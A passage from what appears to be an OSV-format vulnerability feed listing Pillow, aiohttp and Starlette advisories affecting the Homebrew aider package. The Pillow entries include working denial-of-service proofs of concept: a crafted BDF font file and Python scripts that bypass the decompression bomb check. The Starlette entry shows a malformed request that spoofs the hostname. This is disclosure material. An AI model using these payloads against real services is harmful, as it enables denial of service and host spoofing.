threshold\n\nclass MockFont(FontFile.FontFile):\n def __init__(self):\n super().__init__()\n # Each glyph is individually safe (700K px < 89.4M warning)\n im = Image.new(\"1\", (GLYPH_W, GLYPH_H))\n for i in range(MAX_GLYPHS):\n self.glyph[i] = (\n (GLYPH_W, GLYPH_H),\n (0, -GLYPH_H, GLYPH_W, 0),\n (0, 0, GLYPH_W, GLYPH_H),\n im,\n )\n\n# Confirm bomb check WOULD catch the combined size\ncombined_size = (GLYPH_W, MAX_GLYPHS * GLYPH_H)\ntry:\n Image._decompression_bomb_check(combined_size)\n print(\"[FAIL] bomb check did not raise — unexpected\")\nexcept Image.DecompressionBombError as e:\n print(f\"[OK] bomb check WOULD block {combined_size}: {e}\")\n\n# Vulnerable path: compile() has NO bomb check\nfont = MockFont()\nfont.compile() # → Image.new(\"1\", (800, 224000)) — no error raised\n\npx = font.bitmap.size[0] * font.bitmap.size[1]\nthreshold = Image.MAX_IMAGE_PIXELS * 2\nprint(f\"[BYPASS] compile() succeeded: bitmap={font.bitmap.size}\")\nprint(f\" pixels={px:,} ({px/threshold:.3f}× DecompressionBombError threshold)\")\nprint(f\" No DecompressionBombError raised at any point.\")\n```\n\n**Expected output:**\n```\n[OK] bomb check WOULD block (800, 224000): Image size (179200000 pixels) exceeds limit\nof 178956970 pixels, could be decompression bomb DOS attack.\n[BYPASS] compile() succeeded: bitmap=(800, 224000)\n pixels=179,200,000 (1.001× DecompressionBombError threshold)\n No DecompressionBombError raised at any point.\n```\n\n**Verified live on Pillow 12.2.0 — compile() succeeds with no exception.**\n\n**Real-world trigger using BDF font file:**\n```python\nfrom PIL import BdfFontFile\nimport io\n\n# Load a crafted BDF font with 256 glyphs each claiming height=65535\n# (each glyph individually: 800 × 65535 = 52.4M px — below 89.4M warning)\n# compile() combined: 800 × 16,776,960 = 13.4B px — 75× error threshold\nfont = BdfFontFile.BdfFontFile(open(\"crafted_256glyph.bdf\", \"rb\"))\nfont.to_imagefont() # → compile() → ~1.6 GB allocation, NO bomb check\n```\n\n**Attack scenarios:**\n\n| Scenario | Effect |\n|---|---|\n| Web font preview (`BdfFontFile(upload).to_imagefont()`) | DoS with crafted .bdf upload |\n| Server-side font renderer that loads PCF → `to_imagefont()` | OOM crash |\n| Font pipeline: load → render text | One malicious font file kills the process |\n\n## Impact\n\n- **Availability:** HIGH — `compile()` creates a combined bitmap whose pixel count scales as `WIDTH × lines × max_glyph_height` with no upper bound check. With max PCF glyph height (65,535) and 256 glyphs, the combined allocation is ~1.6 GB. With BDF (text-format, unbounded height), the allocation is limited only by system memory.\n- **Confidentiality:** None\n- **Integrity:** None\n\n**Affected call paths:**\n- `BdfFontFile.BdfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `BdfFontFile.BdfFontFile(fp).save(filename)` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).to_imagefont()` → `FontFile.compile()`\n- `PcfFontFile.PcfFontFile(fp).save(filename)` → `FontFile.compile()`\n\nNeither `BdfFontFile` nor `PcfFontFile` is loaded via `Image.open()`, so the standard decompression bomb guard is **entirely absent** from the font loading code path. `compile()` is the only point where the combined allocation size is known, and it has no check.\n\nConfirmed unpatched on `python-pillow/Pillow` `main` branch as of 2026-06-08.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/python-pillow/Pillow/security/advisories/GHSA-5x94-69rx-g8h2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54060"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/commit/0a263e6264aa5399988d9acd3bbfbca2ca3ec77d"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2026-2254.yaml"},{"type":"PACKAGE","url":"https://github.com/python-pillow/Pillow"},{"type":"WEB","url":"https://github.com/python-pillow/Pillow/blob/main/docs/releasenotes/12.3.0.rst"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54273","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-4fvr-rgm6-gqmc","CVE-2026-54273","PYSEC-2026-2107"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: HTTP/1 Pipelined Requests Queue Without Limit","details":"### Summary\n\nNo limit was present on the number of pipelined requests that could be queued.\n\n### Impact\n\nAn attacker may be able to use pipelined requests to use excessive amounts of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4fvr-rgm6-gqmc"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/dfdfa9d5aad5d21f91c79fb2ceeba0f8046cb6cf"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54274","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-xcgm-r5h9-7989","CVE-2026-54274","PYSEC-2026-2108"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: Incomplete websocket frame payloads bypass memory limits","details":"### Summary\n\nIf an attacker sends large incomplete websocket frame payloads, it may be possible to bypass the usual size limits on memory use.\n\n### Impact\n\nIf a web application has WebSocket endpoints, it may be possible for an attacker to execute a DoS attack through excessive memory use.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/14b6ee851fb16ec199acb950de0c82d476799e7d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-xcgm-r5h9-7989"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54275","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-4m7w-qmgq-4wj5","CVE-2026-54275","PYSEC-2026-237"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: TLS Server Hostname Override Is Ignored When Reusing HTTPS Connections","details":"### Summary\n\nThe `server_hostname` TLS SNI check can be bypassed when an existing connection is reused.\n\n### Impact\n\nIf an application makes multiple requests to the same domain, but with different per-request `server_hostname` parameters, then the later calls may succeed by reusing the existing connection when they should have been rejected due to the TLS SNI check.\n\n### Workaround\n\nDisable keep_alive if you need to change the `server_hostname` check between requests.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/0ca2b6c28a25726527a8b60f25960262a91ed0e0","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-4m7w-qmgq-4wj5"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54276","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-hpj7-wq8m-9hgp","CVE-2026-54276","PYSEC-2026-2109"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: DigestAuthMiddleware Applies Credentials to Cross-Origin Redirect Challenges","details":"### Summary\n\n``DigestAuthMiddleware`` can send an authentication response after following a cross-origin redirect.\n\n### Impact\n\nIf the client follows a redirect (the default option) to an attacker controlled domain, the attacker may be able to extract the auth digest.\n\nThis likely requires an open redirect vulnerability or similar on the target domain for an attacker to be able to execute. Further, the attacker is only receiving the digest, so should only be able to extract the user's credentials if the cryptography is weak or there is some kind of password reuse.\n\n### Workaround\n\nDisable ``follow_redirects`` if this is a concern.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-hpj7-wq8m-9hgp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/38d16060037e1bfcd6d677abababa3c2a4bb58fa"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54277","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-63hw-fmq6-xxg2","CVE-2026-54277","PYSEC-2026-2110"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: C HTTP Parser Bypasses max_line_size for Fragmented Lines","details":"### Summary\n\nIt is possible to bypass the max_line_size check in parts of an HTTP request in the C parser.\n\n### Impact\n\nIf using the optimised C parser (the default in pre-built wheels), then an attacker may be able to send oversized lines through the HTTP parser and use an excessive amount of memory, potentially leading to DoS.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-63hw-fmq6-xxg2"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/5ab61bb4cd88f19b712f12c7c9295fe262bf804d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54278","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-g3cq-j2xw-wf74","CVE-2026-54278","PYSEC-2026-2111"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: Unread Compressed Request Bodies Bypass client_max_size During Cleanup","details":"### Summary\n\nDuring cleanup it is possible for a compressed request body to be decompressed into memory in one chunk.\n\n### Impact\n\nAn attacker may be able to send a compressed payload in specific situations that could be decompressed into memory, potentially leading to DoS (a zip bomb edge case).\n\n### Workaround\n\nDisable compression if unable to upgrade.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/4f7480e474cccc6a8cc2c92ad3f17a31dedf8232","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-g3cq-j2xw-wf74"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54279","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-2fqr-mr3j-6wp8","CVE-2026-54279","PYSEC-2026-2112"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: Host-Only Cookies Become Domain Cookies After CookieJar Persistence","details":"### Summary\n\nHost-only cookies that are saved with ``CookieJar.save()`` and then restored later with ``CookieJar.load()`` lose their host-only status.\n\n### Impact\n\nHost-only cookies that have been loaded from disk may get sent to subdomains that previously should have been disallowed.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a329a7aacad5284f087af36103aff778746da0f2","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-2fqr-mr3j-6wp8"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54280","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-9x8q-7h8h-wcw9","CVE-2026-54280","PYSEC-2026-2113"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.14.1","resource":"aiohttp","resource_purl":"pkg:pypi/aiohttp@3.13.3"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"aiohttp","subject_version":"3.13.3","key":"pkg:pypi/aiohttp@3.13.3","resource":"aiohttp"}]},"summary":"aiohttp: Payload Response Resources Are Not Closed After Mid-Body Disconnect","details":"### Summary\n\nPayload resources are not closed correctly when a client disconnects in the middle of a write.\n\n### Impact\n\nIf a payload is using an open file or similar limited resource, then an attacker may be able to cause resource starvation temporarily until garbage collection or similar closes the file.\n\n-----\n\nPatch: https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-9x8q-7h8h-wcw9"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/a762eda5242f6490d6ba667533193f8b473ad587"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54282","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-jp82-jpqv-5vv3","CVE-2026-54282","PYSEC-2026-248"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.3.0","resource":"starlette","resource_purl":"pkg:pypi/starlette@0.52.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"starlette","subject_version":"0.52.1","key":"pkg:pypi/starlette@0.52.1","resource":"starlette"}]},"summary":"Starlette: Unvalidated request path concatenated into authority poisons request.url.hostname","details":"### Summary\n\nIn affected versions, the HTTP request path is not validated before being used to reconstruct `request.url`. Because `request.url` is rebuilt by concatenating `{scheme}://{host}{path}` and re-parsing the result, a path that does not begin with `/` (for example `@google.com`) moves the authority boundary during re-parsing, so `request.url.hostname` and `request.url.netloc` become attacker-controlled. Code that reads `request.url.hostname` (rather than the `Host` header or `scope`) can therefore be misled into trusting an attacker-supplied host.\n\n### Details\n\nWhen a client requests a path that does not start with `/`:\n\n```http\nGET @google.com HTTP/1.1\nHost: localhost\n```\n\naffected versions reconstruct the URL as `http://localhost@google.com`. Per [RFC 3986 §3.2.1](https://www.rfc-editor.org/rfc/rfc3986.html#section-3.2.1), the substring before `@` in the authority is `userinfo`, so re-parsing yields `username = \"localhost\"` and `hostname = \"google.com\"`, with an empty path:\n\n```text\nrequest.url == \"http://localhost@google.com\"\nrequest.url.hostname == \"google.com\"\nrequest.url.path == \"\"\n```\n\nThe root cause is that the path is concatenated directly after the host without a separating `/`, and without validating that it begins with one. Only the `Host` header was validated when constructing `request.url`; the path was not.\n\nThis requires an ASGI server that forwards a request-target lacking a leading `/` into `scope[\"path\"]`.\n\n### Impact\n\nAny application running an affected version that uses `request.url`, `request.url.netloc`, or `request.url.hostname` for a security-sensitive decision (host-based authorization, redirect/callback base, SSRF target, cache key, audit log) may be affected, when no fronting proxy or load balancer rejects the malformed request-target first.\n\nNote that this is less exploitable than [GHSA-86qp-5c8j-p5mr](https://github.com/Kludex/starlette/security/advisories/GHSA-86qp-5c8j-p5mr): there, the poison is carried in the `Host` header, so the real path still routes to a valid endpoint while `request.url.path` lies. Here, the poison must be carried in the path itself, and that path (`@google.com`) does not match any registered route, so routing returns `404` and no endpoint handler runs. The exposure is limited to code that reads `request.url` before routing - notably middleware - or in 404/exception handlers.\n\n### Mitigation\n\nUpgrade to a patched version, which prevents the request path from crossing into the URL authority. The request above instead yields `http://localhost/@google.com` with `request.url.hostname == \"localhost\"`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N"}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-jp82-jpqv-5vv3"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-54282"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/starlette/PYSEC-2026-248.yaml"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-54283","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-82w8-qh3p-5jfq","CVE-2026-54283","PYSEC-2026-249"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"1.3.1","resource":"starlette","resource_purl":"pkg:pypi/starlette@0.52.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"starlette","subject_version":"0.52.1","key":"pkg:pypi/starlette@0.52.1","resource":"starlette"}]},"summary":"Starlette: request.form() limits silently ignored for application/x-www-form-urlencoded enable DoS","details":"### Summary\n`request.form()` accepts `max_fields` and `max_part_size` to bound resource consumption while parsing form data. These limits are enforced for `multipart/form-data`, but silently ignored for `application/x-www-form-urlencoded`. An unauthenticated attacker can therefore send a urlencoded body with an arbitrarily large number of fields or an arbitrarily large field, even when the application configured limits it believed would apply.\n\n### Details\n`request.form()` dispatches to a different parser depending on the `Content-Type`. For `multipart/form-data` the `max_files`, `max_fields`, and `max_part_size` limits are forwarded to the parser, but for `application/x-www-form-urlencoded` the parser is constructed without them. It has no `max_fields` or `max_part_size` parameter to receive them, and it appends every field with no count check and accumulates each field's name and value with no size check. The configured limits are therefore both unreachable and unenforced for url-encoded bodies.\n\nBecause the url-encoded parser does its work synchronously between stream reads, the two attack shapes have different effects:\n\n- **Field count** drives CPU and event-loop blocking. A body of ~1,000,000 fields (a sub-10MB payload such as `f0=v&f1=v&...`) blocks the worker's event loop for several seconds while parsing, during which the worker serves no other request.\n- **Field size** drives memory. A single large field value (e.g. a 50MB value) is buffered in full to build the `FormData`, forcing memory allocation proportional to the request body.\n\nThe equivalent `multipart/form-data` request is correctly rejected with `400 Too many fields` / `400 Field exceeded maximum size`.\n\n### Impact\nThis Denial of service (DoS) vulnerability affects all applications built with Starlette (or FastAPI) that call `request.form()` on `application/x-www-form-urlencoded` requests. A single request with a very large number of fields blocks the event loop for several seconds, and a single request with a very large field forces unbounded memory allocation; in either case, parallel requests can render the service unusable. A reverse proxy that enforces a request body size limit reduces but does not eliminate the exposure, since a sub-10MB body is already enough to block the event loop.\n\n### Mitigation\nUpgrade to a patched version, which forwards `max_fields` and `max_part_size` to the url-encoded parser and enforces them while parsing, raising before the oversized field or excess fields are accumulated. The defaults match `multipart/form-data` (`max_fields=1000`, `max_part_size=1MB`) and can be customized via `request.form(max_fields=..., max_part_size=...)`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}],"references":[{"type":"WEB","url":"https://github.com/Kludex/starlette/security/advisories/GHSA-82w8-qh3p-5jfq"},{"type":"PACKAGE","url":"https://github.com/Kludex/starlette"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-55379","published":"2026-08-13T16:35:12Z","modified":"2026-09-09T23:40:56Z","upstream":["GHSA-45hq-cxwh-f6vc","BIT-pillow-2026-55379","CVE-2026-55379","PYSEC-2026-2255"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"12.3.0","resource":"pillow","resource_purl":"pkg:pypi/pillow@12.1.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"pillow","subject_version":"12.1.1","key":"pkg:pypi/pillow@12.1.1","resource":"pillow"}]},"summary":"Pillow `BdfFontFile`: `Image.new()` called without `_decompression_bomb_check()` — bomb protection bypass via font loading","details":"### Summary\n`PIL/BdfFontFile.py` `bdf_char()` (lines 84–88) reads the `BBX width height` field from a BDF font file and passes the dimensions directly to `Image.new()` without calling `Image._decompression_bomb_check()`. This completely bypasses Pillow's documented decompression bomb protection.\n\n`Image.open()` enforces `MAX_IMAGE_PIXELS = 89,478,485` and raises `DecompressionBombError` for images exceeding `2 × MAX = 178,956,970` pixels. The BDF font loading path calls `Image.new()` directly, which only calls `_check_size()` (validates `>= 0`) — no pixel count limit.\n\n**Vulnerable code (`PIL/BdfFontFile.py` lines 84–88):**\n```python\n# width, height from attacker-controlled \"BBX width height x y\" line\ntry:\n im = Image.frombytes(\"1\", (width, height), bitmap, \"hex\", \"1\")\nexcept ValueError:\n # TRIGGERED when BITMAP section is empty (zero hex lines)\n im = Image.new(\"1\", (width, height)) # ← NO _decompression_bomb_check()!\n # ^ This image is stored in self.glyph[ch] — persists in memory\n```\n\n**Attack trigger:** A BDF glyph with `BBX 20000 20000` and an empty `BITMAP` section causes `Image.frombytes()` to raise `ValueError`, then `Image.new(\"1\", (20000, 20000))` allocates **50 MB** of C-heap silently. Image.open() would raise `DecompressionBombError` for the same dimensions.\n\n## Steps to reproduce\n\n**Minimal malicious BDF file (270 bytes):**\n```\nSTARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT placeholder\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX 20000 20000 0 0\nBITMAP\nENDCHAR\nENDFONT\n```\n\n**Proof of Concept script:**\n```python\n#!/usr/bin/env python3\n\"\"\"PoC: BdfFontFile bomb bypass — 270-byte BDF → 50 MB allocation\"\"\"\nimport io, warnings\nwarnings.filterwarnings(\"ignore\")\n\nfrom PIL.BdfFontFile import BdfFontFile\nfrom PIL.Image import _decompression_bomb_check, DecompressionBombWarning, DecompressionBombError\n\nW, H = 20000, 20000 # 400M pixels → above DecompressionBombError threshold\n\n# Show what Image.open() would do\nwarnings.filterwarnings(\"error\", category=DecompressionBombWarning)\ntry:\n _decompression_bomb_check((W, H))\nexcept (DecompressionBombWarning, DecompressionBombError) as e:\n print(f\"[Image.open() path] BLOCKED by {type(e).__name__}\")\nwarnings.filterwarnings(\"ignore\")\n\n# Malicious BDF: large BBX + empty BITMAP → ValueError → Image.new() without bomb check\nbdf = f\"\"\"STARTFONT 2.1\nSIZE 16 75 75\nFONTBOUNDINGBOX 16 16 0 -4\nSTARTPROPERTIES 1\nCOMMENT x\nENDPROPERTIES\nCHARS 1\nSTARTCHAR A\nENCODING 65\nSWIDTH 500 0\nDWIDTH 8 0\nBBX {W} {H} 0 0\nBITMAP\nENDCHAR\nENDFONT\n\"\"\".encode()\n\nprint(f\"[*] BDF file size : {len(bdf)} bytes\")\nprint(f\"[*] Glyph size : {W} x {H} = {W*H:,} pixels\")\nprint(f\"[*] C-heap target : {W*H//8//1024**2} MB (mode '1' = 1 bit/pixel)\")\n\nBdfFontFile(io.BytesIO(bdf)) # No exception — bomb check bypassed!\n\nprint(f\"[!] CONFIRMED: BdfFontFile loaded silently — {W*H//8//1024**2} MB allocated\")\nprint(f\" Image.open() path would have raised DecompressionBombError\")\n```\n\n**Expected output:**\n```\n[Image.open() path] BLOCKED by DecompressionBombError\n[*] BDF file size : 270 bytes\n[*] Glyph size : 20000 x 20000 = 400,000,000 pixels\n[*] C-heap target : 47 MB (mode '1' = 1 bit/pixel)\n[!] CONFIRMED: BdfFontFile loaded silently — 47 MB allocated\n Image.open() path would have raised DecompressionBombError\n```\n\n**Amplified attack (multiple glyphs):** \nA BDF file defining 256 glyphs each at `BBX 8000 8000` causes `256 × 7.6 MB = ~1.95 GB` total C-heap allocation — all silently, bypassing documented bomb protection.\n\n### Impact\n- **Availability**: HIGH — attacker-controlled memory allocation per glyph × up to 65,536 glyphs\n- **Confidentiality**: None \n- **Integrity**: None\n- Any service loading BDF fonts from untrusted sources (e.g., `ImageFont.load(\"user.bdf\")`, `BdfFontFile(fp)`) is affected\n- Loaded glyph images persist in `self.glyph[ch]` for the lifetime of the font object — memory is NOT freed until the font is garbage 